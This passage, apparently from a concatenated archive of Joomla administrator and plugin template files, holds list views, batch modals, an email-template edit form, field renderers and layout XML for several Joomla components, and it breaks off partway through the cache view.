                        <?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                    </th>
                    <?php if ($showColors) : ?>
                        <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                            <?php echo JHtml::_('searchtools.sort', '', 'a.color', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <th scope="col" class="w-1 text-nowrap text-center">
                        <?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="">
                        <?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                    </th>
                    <th scope="col" class="d-none d-md-table-cell">
                        <?php echo JHtml::_('searchtools.sort', 'JGLOBAL_DESCRIPTION', 'a.description', $listDirn, $listOrder); ?>
                    </th>
                    <?php if ($this->config->show_fields) : ?>
                        <th scope="col" class="w-10 title d-none d-md-table-cell">
                            <?php echo JHtml::_('searchtools.sort', 'RR_SEARCH', 'a.search', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 title d-none d-md-table-cell">
                            <?php echo JHtml::_('searchtools.sort', 'RR_REPLACE', 'a.replace', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($showCategories) : ?>
                        <th scope="col" class="w-3 text-nowrap d-none d-md-table-cell">
                            <?php echo JHtml::_('searchtools.sort', 'JCATEGORY', 'a.category', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <th scope="col" class="w-3 text-nowrap text-center d-none d-md-table-cell">
                        <?php echo JText::_('RR_CASE'); ?>
                    </th>
                    <th scope="col" class="w-3 text-nowrap text-center d-none d-md-table-cell">
                        <?php echo JText::_('RR_REGEX'); ?>
                    </th>
                    <th scope="col" class="w-3 text-nowrap text-center d-none d-md-table-cell">
                        <?php echo JText::_('RR_ADMIN'); ?>
                    </th>
                    <th scope="col" class="w-3 text-nowrap d-none d-md-table-cell">
                        <?php echo JText::_('RR_AREA'); ?>
                    </th>
                    <th scope="col" class="w-1 text-nowrap text-center d-none d-md-table-cell">
                        <?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                    </th>
                </tr>
            </thead>
            <tbody <?php if ($saveOrder) : ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="false"<?php endif; ?>>

                <?php if (empty($this->items)): ?>
                    <tr>
                        <td colspan="<?php echo $cols; ?>">
                            <?php echo JText::_('RL_NO_ITEMS_FOUND'); ?>
                        </td>
                    </tr>
                <?php else: ?>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <?php
                        $canCheckinItem = ($canCheckin || $item->checked_out == 0 || $item->checked_out == $user->get('id'));
                        $canChangeItem  = ($canChange && $canCheckinItem);

                        if ( ! empty($item->casesensitive))
                        {
                            $case = '<span class=" " rel="tooltip" title="' . JText::_('RR_CASE_SENSITIVE') . '"><span class="icon-publish text-success" aria-hidden="true"></span></span>';
                        }
                        else
                        {
                            $case = '<span class="disabled" rel="tooltip" title="' . JText::_('RL_NOT') . ' ' . JText::_('RR_CASE_SENSITIVE') . '"><span class="icon-cancel" aria-hidden="true"></span></span>';
                        }

                        if ( ! empty($item->regex))
                        {
                            $regex = '<span class="" rel="tooltip" title="' . JText::_('RR_REGULAR_EXPRESSIONS') . '"><span class="icon-publish text-success" aria-hidden="true"></span></span>';
                        }
                        else
                        {
                            $regex = '<span class="disabled" rel="tooltip" title="' . JText::_('RL_NOT') . ' ' . JText::_('RR_REGULAR_EXPRESSIONS') . '"><span class="icon-cancel" aria-hidden="true"></span></span>';
                        }

                        if ( ! empty($item->enable_in_admin))
                        {
                            $enable_in_admin = '<span class="" rel="tooltip" title="' . JText::_('RR_ENABLE_IN_ADMIN') . '"><span class="icon-publish text-success" aria-hidden="true"></span></span>';
                        }
                        else
                        {
                            $enable_in_admin = '<span class="disabled" rel="tooltip" title="' . JText::_('RL_NOT') . ' ' . JText::_('RR_ENABLE_IN_ADMIN') . '"><span class="icon-cancel" aria-hidden="true"></span></span>';
                        }

                        $description = explode('---', $item->description);

                        $area_name = $item->area == 'articles' ? 'CONTENT' : strtoupper($item->area);
                        $area      = JText::_('RR_AREA_' . $area_name . '_SHORT');
                        $area_tip  = JText::_('RR_AREA_' . $area_name);
                        ?>
                        <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->area; ?>">
                            <td class="text-center d-none d-md-table-cell">
                                <?php echo JHtml::_('grid.id', $i, $item->id); ?>
                            </td>
                            <td class="order text-nowrap text-center d-none d-md-table-cell d-none d-md-table-cell">
                                <?php
                                $iconClass = '';

                                if ( ! $canChange)
                                {
                                    $iconClass = ' inactive';
                                }
                                elseif ( ! $saveOrder)
                                {
                                    $iconClass = ' inactive" title="' . JText::_('JORDERINGDISABLED');
                                }
                                ?>
                                <span class="sortable-handler<?php echo $iconClass ?>">
                                    <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                </span>
                                <?php if ($canChange && $saveOrder) : ?>
                                    <input type="text" class="hidden" name="order[]" size="5" value="<?php echo $item->ordering; ?>">
                                <?php endif; ?>
                            </td>
                            <?php if ($showColors) : ?>
                                <td class="center inlist">
                                    <?php
                                    $colorfield = new MiniColorField;

                                    $color = $item->color ?? '';

                                    $element = new SimpleXMLElement(
                                        '<field
                                            id="color_' . $i . '"
                                            name="color_' . $i . '"
                                            type="MiniColor"
                                            default=""
                                            colors="' . ($this->config->main_colors ?? '') . '"
                                            table="rereplacer"
                                            item_id="' . $item->id . '"
                                            />'
                                    );

                                    $element->value = $color;

                                    $colorfield->setup($element, $color);

                                    echo $colorfield->__get('input');
                                    ?>
                                </td>
                            <?php endif; ?>
                            <td class="text-center">
                                <?php echo JHtml::_('jgrid.published', $item->published, $i, 'items.', $canChangeItem); ?>
                            </td>
                            <td>
                                <?php if ($item->checked_out) : ?>
                                    <?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'items.', $canCheckin); ?>
                                <?php endif; ?>
                                <?php if ($canEdit) : ?>
                                    <a href="<?php echo JRoute::_('index.php?option=com_rereplacer&task=item.edit&id=' . $item->id); ?>">
                                        <?php echo RL_String::escape($item->name); ?></a>
                                <?php else : ?>
                                    <?php echo RL_String::escape($item->name); ?>
                                <?php endif; ?>
                            </td>
                            <td class="d-none d-md-table-cell">
                                <span><?php echo nl2br(RL_String::escape(trim($description[0]))); ?></span>
                                <?php if ( ! empty($description[1])) : ?>
                                    <div role="tooltip"><?php echo nl2br(RL_String::escape(trim($description[1]))); ?></div>
                                <?php endif; ?>
                            </td>
                            <?php if ($this->config->show_fields) : ?>
                                <?php if ($item->use_xml) : ?>
                                    <td class="d-none d-md-table-cell" colspan="2">
                                        <em>(<?php echo RL_String::escape(JText::_('RR_USES_XML_FILE')); ?>)</em>
                                    </td>
                                <?php else : ?>
                                    <td class="d-none d-md-table-cell">
                                        <span><?php echo RL_String::escape(RL_String::truncate(trim($item->search), 60)); ?></span>
                                        <?php if (RL_String::strlen(trim($item->search)) > 60) : ?>
                                            <div role="tooltip">
                                                <strong><?php echo JText::_('RR_SEARCH'); ?></strong><br>
                                                <?php echo $item->search; ?>
                                            </div>
                                        <?php endif; ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <span><?php echo RL_String::escape(RL_String::truncate(trim($item->replace), 60)); ?></span>
                                        <?php if (RL_String::strlen(trim($item->replace)) > 60) : ?>
                                            <div role="tooltip">
                                                <strong><?php echo JText::_('RR_REPLACE'); ?></strong><br>
                                                <?php echo $item->replace; ?>
                                            </div>
                                        <?php endif; ?>
                                    </td>
                                <?php endif; ?>
                            <?php endif; ?>
                            <?php if ($showCategories) : ?>
                                <td class="d-none d-md-table-cell">
                                    <?php
                                    $category      = $item->category;
                                    $category_icon = '';

                                    if (str_contains($category, '::'))
                                    {
                                        [$category, $category_icon] = explode('::', $category, 2);
                                        $category_icon = '<span class="icon-' . $category_icon . '"></span>';
                                    }

                                    echo $category ? '<span class="badge rl-bg-teal">' . $category_icon . $category . '</span>' : '';
                                    ?>
                                </td>
                            <?php endif; ?>
                            <td class="text-center d-none d-md-table-cell">
                                <?php echo $case; ?>
                            </td>
                            <td class="text-center d-none d-md-table-cell">
                                <?php echo $regex; ?>
                            </td>
                            <td class="text-center d-none d-md-table-cell">
                                <?php echo $enable_in_admin; ?>
                            </td>
                            <td class="d-none d-md-table-cell">
                                <span rel="tooltip" title="<?php echo $area_tip; ?>"><?php echo $area; ?></span>
                            </td>
                            <td class="text-center d-none d-md-table-cell">
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                <?php endif; ?>
            </tbody>
        </table>

        <?php // load the pagination. ?>
        <?php echo $this->pagination->getListFooter(); ?>

        <?php if ($canCreate) : ?>
            <?php echo JHtml::_(
                'bootstrap.renderModal',
                'importModal',
                [
                    'title'  => JText::_('RL_IMPORT_ITEMS'),
                    'footer' => $this->loadTemplate('import_footer'),
                ],
                $this->loadTemplate('import_body')
            ); ?>
        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo JHtml::_('form.token'); ?>
    </form>
<?php
// PRO Check
echo RL_License::getMessage('REREPLACER');

// Copyright
echo RL_Version::getFooter('REREPLACER');
items/default.xml000064400000000773151731413030010040 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_MENUS_ITEMS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MENUS_ITEMS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="menutype"
				type="menu"
				label="COM_MENUS_ITEMS_CHOOSE_MENU_LABEL"
				description="COM_MENUS_ITEMS_CHOOSE_MENU_DESC"
				clientid=""
				>
				<option value="">COM_MENUS_SELECT_MENU</option>
			</field>
		</fields>
	</fieldset>
</metadata>
items/default_batch_body.php000064400000006421151731413030012201 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$options = [
    HTMLHelper::_('select.option', 'c', Text::_('JLIB_HTML_BATCH_COPY')),
    HTMLHelper::_('select.option', 'm', Text::_('JLIB_HTML_BATCH_MOVE'))
];
$published = (int) $this->state->get('filter.published');
$clientId  = (int) $this->state->get('filter.client_id');
$menuType  = Factory::getApplication()->getUserState('com_menus.items.menutype', '');

if ($clientId == 1) {
    /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
    $wa = $this->document->getWebAssetManager();
    $wa->useScript('com_menus.batch-body');
    $wa->useScript('joomla.batch-copymove');
}
?>
<div class="p-3">
    <?php if (strlen($menuType) && $menuType != '*') : ?>
        <?php if ($clientId != 1) : ?>
    <div class="row">
            <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
            <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
        <?php endif; ?>
    <div class="row">
        <?php if ($published >= 0) : ?>
            <div class="form-group col-md-6">
                <div class="control-group">
                    <label id="batch-choose-action-lbl" for="batch-menu-id">
                        <?php echo Text::_('COM_MENUS_BATCH_MENU_LABEL'); ?>
                    </label>
                    <select class="form-select" name="batch[menu_id]" id="batch-menu-id">
                        <option value=""><?php echo Text::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
                        <?php
                        $opts = [
                            'published' => $this->state->get('filter.published'),
                            'checkacl'  => (int) $this->state->get('menutypeid'),
                            'clientid'  => (int) $clientId,
                        ];
                        echo HTMLHelper::_('select.options', HTMLHelper::_('menu.menuitems', $opts));
                        ?>
                    </select>
                </div>

                <div id="batch-copy-move">
                    <?php echo Text::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
                    <?php echo HTMLHelper::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'); ?>
                </div>
            </div>
        <?php endif; ?>

        <?php if ($published < 0 && $clientId == 1) : ?>
            <p><?php echo Text::_('COM_MENUS_SELECT_MENU_FILTER_NOT_TRASHED'); ?></p>
        <?php endif; ?>
    </div>
    <?php else : ?>
    <div class="row">
        <p><?php echo Text::_('COM_MENUS_SELECT_MENU_FIRST'); ?></p>
    </div>
    <?php endif; ?>
</div>
items/default_batch_footer.php000064400000002117151731413030012540 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

$published = $this->state->get('filter.published');
$clientId  = $this->state->get('filter.client_id');
$menuType = Factory::getApplication()->getUserState('com_menus.items.menutype', '');
?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-menu-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<?php if ((strlen($menuType) && $menuType != '*' && $clientId == 0) || ($published >= 0 && $clientId == 1)) : ?>
    <button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('item.batch');return false;">
        <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
    </button>
<?php endif; ?>
actionlogs/default.xml000064400000000307151731414610011057 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_ACTIONLOGS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_ACTIONLOGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>

actionlogs/default.php000064400000015044151731414610011052 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper;
use Joomla\Component\Actionlogs\Administrator\View\Actionlogs\HtmlView;

/** @var HtmlView $this */

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('table.columns')
    ->useScript('multiselect')
    ->useScript('com_actionlogs.admin-actionlogs');

?>

<form action="<?php echo Route::_('index.php?option=com_actionlogs&view=actionlogs'); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php // Search tools bar ?>
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="logsList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_ACTIONLOGS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <td class="w-1 text-center">
                            <?php echo HTMLHelper::_('grid.checkall'); ?>
                        </td>
                        <th scope="col" class="d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_ACTION', 'a.message', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_EXTENSION', 'a.extension', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_DATE', 'a.log_date', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_NAME', 'a.user_id', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($this->showIpColumn) : ?>
                            <th scope="col" class="w-10 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_ACTIONLOGS_IP_ADDRESS', 'a.ip_address', $listDirn, $listOrder); ?>
                            </th>
                        <?php endif; ?>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) :
                        $extension = strtok($item->extension, '.');
                        ActionlogsHelper::loadTranslationFiles($extension); ?>
                        <tr class="row<?php echo $i % 2; ?>">
                            <td class="text-center">
                                <?php echo HTMLHelper::_('grid.id', $i, $item->id); ?>
                            </td>
                            <th scope="row" class="d-md-table-cell">
                                <?php echo ActionlogsHelper::getHumanReadableLogMessage($item); ?>
                            </th>
                            <td class="d-none d-md-table-cell">
                                <?php echo $this->escape(Text::_($extension)); ?>
                            </td>
                            <td class="d-none d-md-table-cell">
                                <?php if ($this->dateRelative) : ?>
                                    <?php echo HTMLHelper::_('date.relative', $item->log_date); ?>
                                    <div class="small">
                                <?php endif; ?>
                                    <?php echo HTMLHelper::_('date', $item->log_date, Text::_('DATE_FORMAT_LC6')); ?>
                                <?php if ($this->dateRelative) : ?>
                                    </div>
                                <?php endif; ?>
                            </td>
                            <td class="d-md-table-cell">
                                <?php echo $this->escape($item->name); ?>
                            </td>
                            <?php if ($this->showIpColumn) : ?>
                                <td class="d-none d-md-table-cell">
                                    <?php echo Text::_($this->escape($item->ip_address)); ?>
                                </td>
                            <?php endif;?>
                            <td class="d-none d-md-table-cell">
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <?php // Load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif;?>
        <input type="hidden" name="task" value="" />
        <input type="hidden" name="boxchecked" value="0" />
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
<form action="<?php echo Route::_('index.php?option=com_actionlogs&view=actionlogs'); ?>" method="post" name="exportForm" id="exportForm">
    <input type="hidden" name="task" value="" />
    <input type="hidden" name="cids" value="" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
default.xml000060400000002314151732334040006710 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <layout title="COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE">
        <message>
            <![CDATA[COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]>
        </message>
    </layout>
    <fields name="request">
        <fieldset name="request"
            addfieldpath="/administrator/components/com_xmap/models/fields">
            <field
                name="id"
                type="modal_sitemaps"
                default=""
                required="true"
                label="COM_XMAP_SELECT_AN_SITEMAP"
                description="COM_XMAP_SELECT_A_SITEMAP" />
        </fieldset>
    </fields>

    <!-- Add fields to the parameters object for the layout. -->
    <fields name="params">
        <!-- Basic options. -->
        <fieldset name="basic"
            label="COM_XMAP_ATTRIBS_SITEMAP_SETTINGS_LABEL">
            <field
            name="include_css"
            type="list"
            default="0"
            label="COM_XMAP_INCLUDE_CSS_LABEL"
            description="COM_XMAP_INCLUDE_CSS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
</metadata>
imagelist.php000064400000003035151732375450007250 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Imagelist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Image\Image;

if ($field->value == '') {
    return;
}

$class = $fieldParams->get('image_class');

if ($class) {
    // space before, so if no class sprintf below works
    $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"';
}

$value  = (array) $field->value;
$buffer = '';

foreach ($value as $path) {
    if (!$path || $path == '-1') {
        continue;
    }

    $imageFilePath = htmlentities($path, ENT_COMPAT, 'UTF-8', true);

    if ($fieldParams->get('directory', '/') !== '/') {
        $imageInfo = Image::getImageFileProperties(JPATH_ROOT . '/images/' . $fieldParams->get('directory') . '/' . $imageFilePath);

        $buffer .= sprintf(
            '<img loading="lazy" width="%s" height="%s" src="images/%s/%s"%s alt="">',
            $imageInfo->width,
            $imageInfo->height,
            $fieldParams->get('directory'),
            $imageFilePath,
            $class
        );
    } else {
        $imageInfo = Image::getImageFileProperties(JPATH_ROOT . '/images/' . $imageFilePath);

        $buffer .= sprintf(
            '<img loading="lazy" width="%s" height="%s" src="images/%s"%s>',
            $imageInfo->width,
            $imageInfo->height,
            $imageFilePath,
            $class
        );
    }
}

echo $buffer;
template/edit.php000064400000011552151732404340010024 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_mails
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Mails\Administrator\Helper\MailsHelper;

$app = Factory::getApplication();

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_mails.admin-email-template-edit');

$this->useCoreUI = true;

$input = $app->getInput();
list($component, $sub_id) = explode('.', $this->master->template_id, 2);
$sub_id = str_replace('.', '_', $sub_id);

$this->document->addScriptOptions('com_mails', ['templateData' => $this->templateData]);

?>

<form action="<?php echo Route::_('index.php?option=com_mails&layout=edit&template_id=' . $this->item->template_id . '&language=' . $this->item->language); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_MAILS_FORM_EDIT'); ?>" class="form-validate">
    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_MAILS_MAIL_CONTENT')); ?>
        <div class="row">
            <div class="col-md-12">
                <h1><?php echo Text::_($component . '_MAIL_' . $sub_id . '_TITLE'); ?> - <?php echo $this->escape($this->item->language); ?>
                </h1>
                <div class="small mb-1">
                    <span class="badge bg-secondary"><?php echo $this->escape($this->master->template_id); ?></span>
                </div>
                <p><?php echo Text::_($component . '_MAIL_' . $sub_id . '_DESC'); ?></p>
            </div>
        </div>

        <div class="row">
            <div class="col-md-9">
                <?php echo $this->form->renderField('subject'); ?>
            </div>
            <div class="col-md-3">
                <button type="button" id="btnResetSubject" class="btn btn-secondary">
                    <?php echo Text::_('COM_MAILS_RESET_TO_DEFAULT_SUBJECT'); ?>
                </button>
            </div>
        </div>
        <?php if ($fieldBody = $this->form->getField('body')) : ?>
        <div class="row">
            <div class="col-md-9">
                <?php echo $this->form->renderField('body'); ?>
            </div>
            <div class="col-md-3">
                <button type="button" id="btnResetBody" class="btn btn-secondary">
                    <?php echo Text::_('COM_MAILS_RESET_TO_DEFAULT_BODY'); ?>
                </button>
                <div class="tags-container-body mt-3 <?php echo $fieldBody->disabled ? 'hidden' : ''; ?>">
                    <h2><?php echo Text::_('COM_MAILS_FIELDSET_TAGS_LABEL'); ?></h2>
                    <?php echo MailsHelper::mailtags($this->master, 'body'); ?>
                </div>
            </div>
        </div>
        <?php endif; ?>

        <?php if ($fieldHtmlBody = $this->form->getField('htmlbody')) : ?>
        <div class="row">
            <div class="col-md-9">
                <?php echo $this->form->renderField('htmlbody'); ?>
            </div>
            <div class="col-md-3">
                <button type="button" id="btnResetHtmlBody" class="btn btn-secondary">
                    <?php echo Text::_('COM_MAILS_RESET_TO_DEFAULT_HTML_BODY'); ?>
                </button>
                <div class="tags-container-htmlbody mt-3 <?php echo $fieldHtmlBody->disabled ? 'hidden' : ''; ?>">
                    <h2><?php echo Text::_('COM_MAILS_FIELDSET_TAGS_LABEL'); ?></h2>
                    <?php echo MailsHelper::mailtags($this->master, 'htmlbody'); ?>
                </div>
            </div>
        </div>
        <?php endif; ?>

        <?php if ($this->form->getField('attachments')) : ?>
        <div class="row">
            <div class="col-md-9">
                <?php echo $this->form->renderField('attachments'); ?>
            </div>
        </div>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if (count($this->form->getFieldset('basic'))) : ?>
            <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <?php echo $this->form->renderField('template_id'); ?>
    <?php echo $this->form->renderField('language'); ?>
    <input type="hidden" name="task" value="">
    <input type="hidden" name="return" value="<?php echo $input->get('return', null, 'BASE64'); ?>">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
sql.php000064400000002136151732770610006067 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Database\ParameterType;

$value = $field->value;

if ($value == '') {
    return;
}

$db    = Factory::getDbo();
$value = (array) $value;
$query = $db->getQuery(true);
$sql   = $fieldParams->get('query', '');

$bindNames = $query->bindArray($value, ParameterType::STRING);

// Run the query with a having condition because it supports aliases
$query->setQuery($sql . ' HAVING ' . $db->quoteName('value') . ' IN (' . implode(',', $bindNames) . ')');

try {
    $db->setQuery($query);
    $items = $db->loadObjectList();
} catch (Exception $e) {
    // If the query failed, we fetch all elements
    $db->setQuery($sql);
    $items = $db->loadObjectList();
}

$texts = [];

foreach ($items as $item) {
    if (in_array($item->value, $value)) {
        $texts[] = $item->text;
    }
}

echo htmlentities(implode(', ', $texts));
cache/default.php000064400000011646151733023670007763 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_cache
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Cache\Administrator\View\Cache\HtmlView $this */

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('table.columns')
    ->useScript('multiselect')
    ->useScript('com_cache.admin-cache');

?>
<form action="<?php echo Route::_('index.php?option=com_cache'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <div class="alert alert-info">
                    <span class="icon-info-circle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CACHE_PURGE_INSTRUCTIONS'); ?>
                </div>
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if (!$this->data) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_CACHE_TABLE_CAPTION'); ?>,
                                <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                                <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                            <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="title">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CACHE_GROUP', 'group', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CACHE_NUMBER_OF_FILES', 'count', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 text-end d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CACHE_SIZE', 'size', $listDirn, $listOrder); ?>
